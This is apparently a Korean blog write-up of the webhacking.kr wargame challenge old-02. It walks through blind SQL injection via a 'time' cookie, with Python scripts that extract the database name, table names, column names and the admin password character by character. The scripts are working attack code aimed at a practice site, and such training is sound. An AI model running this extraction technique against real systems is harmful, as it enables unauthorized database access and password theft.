wargame : https://webhacking.kr/
✔️ 문제
제한된 구역에 들어왔다.
✔️ 풀이
해당 메인 페이지의 주석을 살펴보면,
해당 페이지 이외에도 admin 페이지가 존재하는 것을
확인할 수 있다.
해당 페이지에서 잘못된 패스워드를 입력하게 되면,
wrong password 라면서 alert가 실행되게 된다.
더 이상 알 수 없는 정보가 없으므로 통신에서
받아오는 값이 있는지 확인을 하게 되면 쿠키값이 존재한다.
메인 페이지의 주석에서 현재 시간과 날짜를 기준으로 하는
쿠키 값을 확인할 수 있는데, 해당 쿠키 값을 조작하여
sql injection 등 공격을 시도해보도록 하자.
Time 쿠키의 값이 True라면,
Time 쿠기의 값이 False라면,
다음에 해당하는 값들이 나오게 된다.
즉, sql injection에 해당하는 페이로드를 구성하여
알맞게 날려주었을 때의 Boolean 값을 확인하여
sql injection을 시도할 수 있을 것이다.
import requests
url = "https://webhacking.kr/challenge/web-02/"
def dbname_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select database()))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
print("db 길이:", dbname_length())
다음 스크립트를 통해 db의 길이를 알아내었다.
그렇다면 db의 이름을 파악해보자.
import requests
url = "https://webhacking.kr/challenge/web-02/"
def dbname_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select database()))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
def dbname_crack():
db_length = dbname_length()
dbname = ''
for i in range(1, db_length+1):
start, end, mid = 1, 127, 64
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select database()), {}, 1)={}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
dbname = dbname + chr(mid).lower()
print("dbname:", dbname)
break
else:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select database()), {}, 1)>{}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
dbname_crack()
다음 스크립트를 통해서 dbname을 획득했다.
데이터베이스 명을 획득하였다면, 다음으로는 테이블명을 알아야한다.
테이블 명은 mysql에서 information_schema를 통해 확인할 수 있다.
우선, 테이블 길이를 알아내는 스크립트는 다음과 같다.
def table_name_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='chall2'))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
print("테이블명 길이:", table_name_length())
mysql의 INFORMATION_SCHMA의 테이블 값들 중
TABLE의 스키마가 해당 db 이름과 일치하는 특정 컬럼의 결과값을
하나의 row로 표시할 수 있게 group_concat을 사용한다.
(참고: https://myinfrabox.tistory.com/221)
def table_name_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='chall2'))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
def table_name_crack():
table_length = table_name_length()
table_name = ''
for i in range(1, table_length+1):
start, end, mid = 1, 127, 64
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='chall2'), {}, 1)={}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
table_name = table_name + chr(mid).lower()
print("테이블명:", table_name)
break
else:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='chall2'), {}, 1)>{}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
table_name_crack()
다음을 통해 해당 db의 테이블은 2개가 존재하는데,
비밀번호를 알아내기 위해서 _area_pw 테이블을 사용하여
패스워드가 적힌 컬럼명을 찾아내고 해당 컬럼에 대해
Blind sql injection을 수행하면 끝날 것이다.
def column_name_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_area_pw'))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
def column_name_crack():
column_length = column_name_length()
column_name = ''
for i in range(1, column_length+1):
start, end, mid = 1, 127, 64
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_area_pw'), {}, 1)={}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
column_name = column_name + chr(mid).lower()
print("컬럼명:", column_name)
break
else:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_area_pw'), {}, 1)>{}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
column_name_crack()
이번엔 COLUMN_NAME과 CLOUMNS 스키마를 활용하고,
TABLE_NAME을 수정해주어 컬럼명을 확인할 수 있었다.
해당 컬럼을 이용하여 pw에 blind sql injection를 시도해보자.
def pw_length():
length = 1
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "length((select pw from admin_area_pw))={}".format(length) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select pw from admin_area_pw), {}, 1)={}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
password = password + chr(mid).lower()
print("패스워드:", password)
break
else:
cookies = { "PHPSESSID" : "쿠키값",
"time" : "if(hex(substring((select pw from admin_area_pw), {}, 1)>{}),1,0)".format(i, hex(mid)) }
request = requests.get(url, cookies=cookies)
if "09:00:01" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
해당 스크립트를 통해 획득한 패스워드를
admin 페이지에 대입해보도록 하자.
성공적으로 문제 풀이에 성공한다.
LOS 사이트와는 다르게 sql injection 페이로드를
구성할 줄 알아도 기존에는 db와 테이블, 컬럼이 모두 주어진
환경에서 시도했었는데 이번에는 테이블과 컬럼,
그리고 db의 이름까지 모두 직접 알아내야하는 문제였다.
처음 이러한 공격을 시도하는 것은 굉장히 어려웠는데
이것저것 검색을 통해서 얻은 정보와
또 LOS로 다져진 sql injection 페이로드 구성을 통해
조금 빠르고 쉽게 풀 수 있게 되었다.
화이팅 💪
'보안 > wargame' 카테고리의 다른 글
[webhackingkr] old-06 (0) | 2023.01.06 |
---|---|
[webhackingkr] old-05 (0) | 2023.01.06 |
[webhackingkr] old-04 (0) | 2023.01.05 |
[webhackingkr] old-03 (0) | 2023.01.04 |
[webhacking.kr] old-01 (0) | 2023.01.03 |